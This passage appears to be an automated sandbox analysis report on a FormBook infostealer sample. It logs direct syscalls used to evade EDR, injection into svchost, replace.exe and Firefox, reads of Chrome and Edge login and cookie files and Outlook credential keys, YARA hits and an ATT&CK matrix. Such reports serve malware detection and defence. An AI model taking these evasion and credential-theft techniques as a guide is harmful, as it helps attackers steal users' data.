            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]2_2_02F3A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F649D0 mov eax, dword ptr fs:[00000030h]2_2_02F649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFA9D3 mov eax, dword ptr fs:[00000030h]2_2_02FFA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC69C0 mov eax, dword ptr fs:[00000030h]2_2_02FC69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB89B3 mov esi, dword ptr fs:[00000030h]2_2_02FB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB89B3 mov eax, dword ptr fs:[00000030h]2_2_02FB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB89B3 mov eax, dword ptr fs:[00000030h]2_2_02FB89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A0 mov eax, dword ptr fs:[00000030h]2_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F309AD mov eax, dword ptr fs:[00000030h]2_2_02F309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F309AD mov eax, dword ptr fs:[00000030h]2_2_02F309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD4978 mov eax, dword ptr fs:[00000030h]2_2_02FD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD4978 mov eax, dword ptr fs:[00000030h]2_2_02FD4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBC97C mov eax, dword ptr fs:[00000030h]2_2_02FBC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F56962 mov eax, dword ptr fs:[00000030h]2_2_02F56962
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtProtectVirtualMemory: Direct from: 0x77542F9CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtSetInformationProcess: Direct from: 0x77542C5CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtOpenKeyEx: Direct from: 0x77542B9CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtProtectVirtualMemory: Direct from: 0x77537B2EJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtCreateFile: Direct from: 0x77542FECJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtOpenFile: Direct from: 0x77542DCCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQueryInformationToken: Direct from: 0x77542CACJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtTerminateThread: Direct from: 0x77542FCCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtDeviceIoControlFile: Direct from: 0x77542AECJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtAllocateVirtualMemory: Direct from: 0x77542BECJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQueryVolumeInformationFile: Direct from: 0x77542F2CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtOpenSection: Direct from: 0x77542E0CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtAllocateVirtualMemory: Direct from: 0x775448ECJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtSetInformationThread: Direct from: 0x775363F9Jump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQuerySystemInformation: Direct from: 0x775448CCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtClose: Direct from: 0x77542B6C
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtReadVirtualMemory: Direct from: 0x77542E8CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtCreateKey: Direct from: 0x77542C6CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtSetInformationThread: Direct from: 0x77542B4CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQueryAttributesFile: Direct from: 0x77542E6CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtAllocateVirtualMemory: Direct from: 0x77543C9CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtCreateUserProcess: Direct from: 0x7754371CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQueryInformationProcess: Direct from: 0x77542C26Jump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtResumeThread: Direct from: 0x77542FBCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtWriteVirtualMemory: Direct from: 0x7754490CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtDelayExecution: Direct from: 0x77542DDCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtAllocateVirtualMemory: Direct from: 0x77542BFCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtReadFile: Direct from: 0x77542ADCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtQuerySystemInformation: Direct from: 0x77542DFCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtResumeThread: Direct from: 0x775436ACJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtNotifyChangeKey: Direct from: 0x77543C2CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtCreateMutant: Direct from: 0x775435CCJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtWriteVirtualMemory: Direct from: 0x77542E3CJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeNtMapViewOfSection: Direct from: 0x77542D1CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\replace.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\replace.exeThread register set: target process: 1212Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\replace.exeThread APC queued: target process: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2F1008Jump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UNGSno5k4G.exe"Jump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: explorer.exe, 0000000C.00000002.3181316702.00000000007A9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0ProgmanzB7
            Source: ZndDLeJFrzJRB.exe, 00000003.00000000.1375268960.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3182216303.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000002.3182571414.0000000001761000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
            Source: UNGSno5k4G.exe, ZndDLeJFrzJRB.exe, 00000003.00000000.1375268960.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3182216303.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000002.3182571414.0000000001761000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: ZndDLeJFrzJRB.exe, 00000003.00000000.1375268960.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3182216303.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000002.3182571414.0000000001761000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: explorer.exe, 0000000C.00000002.3184855786.00000000050C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWndeI
            Source: UNGSno5k4G.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: ZndDLeJFrzJRB.exe, 00000003.00000000.1375268960.0000000001961000.00000002.00000001.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517516176.0000000001761000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\replace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: UNGSno5k4G.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: UNGSno5k4G.exeBinary or memory string: WIN_XP
            Source: UNGSno5k4G.exeBinary or memory string: WIN_XPe
            Source: UNGSno5k4G.exeBinary or memory string: WIN_VISTA
            Source: UNGSno5k4G.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets351
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		1
            Masquerading            		Cached Domain Credentials13
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Valid Accounts            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
